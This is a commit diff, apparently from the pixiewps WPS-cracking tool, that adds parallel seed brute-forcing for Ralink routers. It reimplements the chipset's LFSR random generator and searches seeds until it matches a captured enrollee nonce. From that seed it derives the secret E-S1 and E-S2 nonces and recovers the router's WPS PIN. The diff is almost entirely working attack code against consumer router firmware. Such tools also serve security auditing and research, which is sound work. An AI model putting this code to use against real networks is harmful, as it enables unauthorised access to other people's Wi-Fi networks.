implement parallel cracking for ralink

since we already had realtek parallelized, let's do the same for
ralink too.

this commit is the result of a collaborative effort between
@wiire-a and myself.
This commit is contained in:
rofl0r 2017-11-18 22:35:26 +00:00
parent 14ad43fa6d
commit 7db5fd84f9
2 changed files with 160 additions and 23 deletions

View File

@ -25,6 +25,7 @@
#include <getopt.h> #include <getopt.h>
#include <pthread.h> #include <pthread.h>
#include <limits.h> #include <limits.h>
#include <assert.h>
#include <stdarg.h> /* libtommath.c */ #include <stdarg.h> /* libtommath.c */
#if defined(_WIN32) || defined(__WIN32__) #if defined(_WIN32) || defined(__WIN32__)
#include <windows.h> #include <windows.h>
@ -77,24 +78,24 @@ static const struct option long_options[] = {
{ 0, 0, 0, 0 } { 0, 0, 0, 0 }
}; };
#define SECS_PER_JOB_BLOCK 1000 #define SEEDS_PER_JOB_BLOCK 1000
struct crack_job { struct crack_job {
pthread_t thr; pthread_t thr;
time_t start; uint32_t start;
}; };
static struct job_control { static struct job_control {
int jobs; int jobs;
time_t end; int mode;
uint32_t end;
uint32_t randr_enonce[4]; uint32_t randr_enonce[4];
struct crack_job *crack_jobs; struct crack_job *crack_jobs;
volatile uint32_t nonce_seed; volatile uint32_t nonce_seed;
} job_control; } job_control;
static void *crack_thread(void *arg) { static void crack_thread_rtl(struct crack_job *j) {
struct glibc_lazyprng glibc_lazyprng; struct glibc_lazyprng glibc_lazyprng;
struct crack_job *j = arg;
uint32_t seed = j->start; uint32_t seed = j->start;
uint32_t limit = job_control.end; uint32_t limit = job_control.end;
uint32_t tmp[4]; uint32_t tmp[4];
@ -113,14 +114,90 @@ static void *crack_thread(void *arg) {
seed--; seed--;
if (seed < j->start - SECS_PER_JOB_BLOCK) { if (seed < j->start - SEEDS_PER_JOB_BLOCK) {
long long tmp = j->start - SECS_PER_JOB_BLOCK * job_control.jobs; long long tmp = j->start - SEEDS_PER_JOB_BLOCK * job_control.jobs;
if (tmp < 0) break; if (tmp < 0) break;
j->start = tmp; j->start = tmp;
seed = j->start; seed = j->start;
if (seed < limit) break; if (seed < limit) break;
} }
} }
}
struct ralink_randstate {
uint32_t sreg;
};
static unsigned char ralink_randbyte(struct ralink_randstate *state) {
unsigned char r = 0, result;
if (state->sreg == 0)
state->sreg = 1;
for (int i = 0; i< 8; i++) {
if (state->sreg & 0x00000001) {
state->sreg = ((state->sreg ^ 0x80000057) >> 1) | 0x80000000;
result = 1;
} else {
state->sreg = state->sreg >> 1;
result = 0;
}
r = (r << 1) | result;
}
return r;
}
static int crack_rt(uint32_t start, uint32_t end, uint32_t *result) {
uint32_t seed;
struct ralink_randstate prng;
unsigned char testnonce[16] = {0};
unsigned char *search_nonce = (void*) job_control.randr_enonce;
int i;
for (seed = start; seed < end; seed++) {
prng.sreg = seed;
testnonce[0] = ralink_randbyte(&prng);
if (testnonce[0] != search_nonce[0]) continue;
for (i = 1; i < 4; i++) testnonce[i] = ralink_randbyte(&prng);
if(memcmp(testnonce, search_nonce, 4)) continue;
for (i = 4; i < 16; i++) testnonce[i] = ralink_randbyte(&prng);
if(!memcmp(testnonce, search_nonce, 16)) {
*result = seed;
return 1;
}
}
return 0;
}
static void crack_thread_rt(struct crack_job *j) {
uint64_t tmp;
uint32_t start = j->start, end;
uint32_t res;
while (!job_control.nonce_seed) {
tmp = (uint64_t) start + (uint64_t) SEEDS_PER_JOB_BLOCK;
if (tmp > (uint64_t) job_control.end) tmp = job_control.end;
end = tmp;
if (crack_rt(start, end, &res)) {
job_control.nonce_seed = res;
DEBUG_PRINT("Seed found %u", (unsigned) res);
}
tmp = (uint64_t) start + (uint64_t) (SEEDS_PER_JOB_BLOCK * job_control.jobs);
if (tmp > (uint64_t) job_control.end) break;
start = tmp;
}
}
static void *crack_thread(void *arg) {
struct crack_job *j = arg;
if (job_control.mode == RTL819x)
crack_thread_rtl(j);
else if (job_control.mode == RT)
crack_thread_rt(j);
else
assert(0);
return 0; return 0;
} }
@ -144,28 +221,35 @@ static void setup_thread(int i) {
} }
#endif #endif
static void init_crack_jobs(struct global *wps) { static void init_crack_jobs(struct global *wps, int mode) {
job_control.jobs = wps->jobs; job_control.jobs = wps->jobs;
job_control.end = wps->end; job_control.end = (mode == RTL819x) ? wps->end : 0xffffffffu;
job_control.mode = mode;
job_control.nonce_seed = 0; job_control.nonce_seed = 0;
memset(job_control.randr_enonce, 0, sizeof(job_control.randr_enonce)); memset(job_control.randr_enonce, 0, sizeof(job_control.randr_enonce));
/* Converting enrollee nonce to the sequence may be generated by current random function */ /* Converting enrollee nonce to the sequence may be generated by current random function */
int i, j = 0; int i, j = 0;
for (i = 0; i < 4; i++) { if(mode == RTL819x)
job_control.randr_enonce[i] |= wps->e_nonce[j++]; for (i = 0; i < 4; i++) {
job_control.randr_enonce[i] <<= 8; job_control.randr_enonce[i] |= wps->e_nonce[j++];
job_control.randr_enonce[i] |= wps->e_nonce[j++]; job_control.randr_enonce[i] <<= 8;
job_control.randr_enonce[i] <<= 8; job_control.randr_enonce[i] |= wps->e_nonce[j++];
job_control.randr_enonce[i] |= wps->e_nonce[j++]; job_control.randr_enonce[i] <<= 8;
job_control.randr_enonce[i] <<= 8; job_control.randr_enonce[i] |= wps->e_nonce[j++];
job_control.randr_enonce[i] |= wps->e_nonce[j++]; job_control.randr_enonce[i] <<= 8;
} job_control.randr_enonce[i] |= wps->e_nonce[j++];
}
else
memcpy(job_control.randr_enonce, wps->e_nonce, 16);
job_control.crack_jobs = malloc(wps->jobs * sizeof (struct job_control)); job_control.crack_jobs = malloc(wps->jobs * sizeof (struct job_control));
time_t curr = wps->start; uint32_t curr = (mode == RTL819x) ? wps->start : 0;
uint32_t add = (mode == RTL819x) ? -SEEDS_PER_JOB_BLOCK : SEEDS_PER_JOB_BLOCK;
for(i = 0; i < wps->jobs; i++) { for(i = 0; i < wps->jobs; i++) {
job_control.crack_jobs[i].start = curr; job_control.crack_jobs[i].start = curr;
setup_thread(i); setup_thread(i);
curr -= SECS_PER_JOB_BLOCK; curr += add;
} }
} }
@ -844,6 +928,42 @@ usage_err:
goto memory_err; goto memory_err;
} }
if (!found_p_mode) {
init_crack_jobs(wps, RT);
nonce_seed = collect_crack_jobs();
if (nonce_seed != 0) {
unsigned lfsr = bit_revert(nonce_seed);
int k = 8 * 32;
while (k--) {
unsigned int lsb_mask = ~(lfsr & 1) + 1;
lfsr ^= lsb_mask & 0xd4000003;
lfsr >>= 1;
lfsr |= lsb_mask & 0x80000000;
}
struct ralink_randstate prng;
prng.sreg = bit_revert(lfsr);
s1_seed = prng.sreg;
for (int i = 0; i < WPS_NONCE_LEN; i++)
wps->e_s1[i] = ralink_randbyte(&prng);
s2_seed = prng.sreg;
for (int i = 0; i < WPS_NONCE_LEN; i++)
wps->e_s2[i] = ralink_randbyte(&prng);
DEBUG_PRINT("Trying with E-S1: ");
DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN);
DEBUG_PRINT("Trying with E-S2: ");
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
r = crack(wps, pin);
if (r == PIN_FOUND) {
found_p_mode = RT;
DEBUG_PRINT("Pin found");
} else if (r == MEM_ERROR) {
goto memory_err;
}
}
}
/* 2 */ /* 2 */
} else if (p_mode[k] == ECOS_SIMPLE && wps->e_nonce) { } else if (p_mode[k] == ECOS_SIMPLE && wps->e_nonce) {
@ -866,7 +986,7 @@ usage_err:
for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S2 */ for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S2 */
wps->e_s2[i] = (uint8_t) (ecos_rand_simple(&seed) & 0xff); wps->e_s2[i] = (uint8_t) (ecos_rand_simple(&seed) & 0xff);
DEBUG_PRINT("Seed found"); DEBUG_PRINT("Seed found %u", nonce_seed);
break; break;
} }
index++; index++;
@ -924,7 +1044,7 @@ usage_err:
if (!(wps->e_nonce[0] & 0x80) && !(wps->e_nonce[4] & 0x80) && if (!(wps->e_nonce[0] & 0x80) && !(wps->e_nonce[4] & 0x80) &&
!(wps->e_nonce[8] & 0x80) && !(wps->e_nonce[12] & 0x80)) { !(wps->e_nonce[8] & 0x80) && !(wps->e_nonce[12] & 0x80)) {
init_crack_jobs(wps); init_crack_jobs(wps, RTL819x);
#if DEBUG #if DEBUG
{ {
@ -1178,10 +1298,15 @@ usage_err:
if (wps->e_nonce) { if (wps->e_nonce) {
if (wps->verbosity > 2) { if (wps->verbosity > 2) {
if ((found_p_mode == ECOS_SIMPLE || (found_p_mode == RTL819x && nonce_seed) if ((found_p_mode == ECOS_SIMPLE || (found_p_mode == RTL819x && nonce_seed)
|| found_p_mode == ECOS_SIMPLEST || found_p_mode == ECOS_KNUTH)) { || found_p_mode == ECOS_SIMPLEST || found_p_mode == ECOS_KNUTH)) {
printf("\n [*] Seed N1: %u", nonce_seed); printf("\n [*] Seed N1: %u", nonce_seed);
} }
if (found_p_mode == RT && s1_seed && s2_seed) {
printf("\n [*] Seed N1: 0x%08x", nonce_seed);
printf("\n [*] Seed ES1: 0x%08x", s1_seed);
printf("\n [*] Seed ES2: 0x%08x", s2_seed);
}
if (found_p_mode == RTL819x && nonce_seed) { if (found_p_mode == RTL819x && nonce_seed) {
time_t seed_time; time_t seed_time;
struct tm ts; struct tm ts;

View File

@ -122,6 +122,18 @@ int get_int(char *in, int *out) {
return 0; return 0;
} }
unsigned int bit_revert(unsigned int v) {
int i;
unsigned int lsb, n = 0;
for (i = 0; i < sizeof(unsigned int) * 8; i++) {
lsb = v & 1;
v >>= 1;
n <<= 1;
n |= lsb;
}
return n;
}
/* Custom timegm function made by Eric S Raymond */ /* Custom timegm function made by Eric S Raymond */
time_t c_timegm(register struct tm *t) { time_t c_timegm(register struct tm *t) {
register long year; register long year;